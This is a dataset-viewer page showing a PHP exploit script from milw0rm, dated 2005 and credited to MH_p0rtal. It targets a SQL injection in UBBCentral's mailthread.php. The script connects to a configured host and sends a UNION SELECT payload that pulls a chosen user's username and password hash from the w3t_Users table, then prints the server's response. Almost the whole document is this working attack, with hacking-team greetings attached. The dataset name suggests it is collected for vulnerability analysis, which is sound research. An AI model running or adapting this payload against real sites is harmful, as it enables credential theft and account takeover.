Team Ai
Modelpublic

lilbool/vuln-code-analysis

sourceHugging Facemitupdated 2y agoView on Hugging Face
0likes
exploit_1069.txt49 linesDownload Raw Back to exploits
1<?php

2#############################################################################

3#      T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m

4#############################################################################

5# Vulnerable:   UBBCentral SQL Injection

6#

7# Exploit By :  MH_p0rtal

8#

9# Discovered By: James Bercegay

10#############################################################################

11#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke

12#

13#  And Iranian Hacking & Security Teams :

14#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,

15#  Crouz Security Team  & Simorgh-ev Security Team

16#############################################################################

17# ___________Config :

18# please replace your address :

19$url = "http:///www.example.com";

20# please replace your dir address :

21$dirs = "/dir/to/ubbt/";

22# __________End Config

23#############################################################################

24$aa = strlen ( $dirs );

25$ab = $aa - 1;

26$ac = 0;

27if ((  $dirs[$ab] == "/" )  &&  ( $dirs[$ac] == "/" ))   {

28$merg = $dirs.mailthread.php;

29$fc = fsockopen("$url", 80, $errno, $errstr, 30);

30if (!$fc) {

31

32echo "Can't Connect\n";

33} else {

34   $mh = "GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat  HTTP/1.1\r\n";

35   $mh .= "Host: $url\r\n";

36   $mh .= "Connection: Close\r\n\r\n";

37

38  fwrite($fc, $mh);

39  while (!feof($fc)) {

40  echo fgets($fc, 1024);

41  }

42   fclose($fc);

43}

44} else {

45echo " Your pattern doesn't equal with Exploit directory pattern ";

46}

47?>

48

49# milw0rm.com [2005-06-25]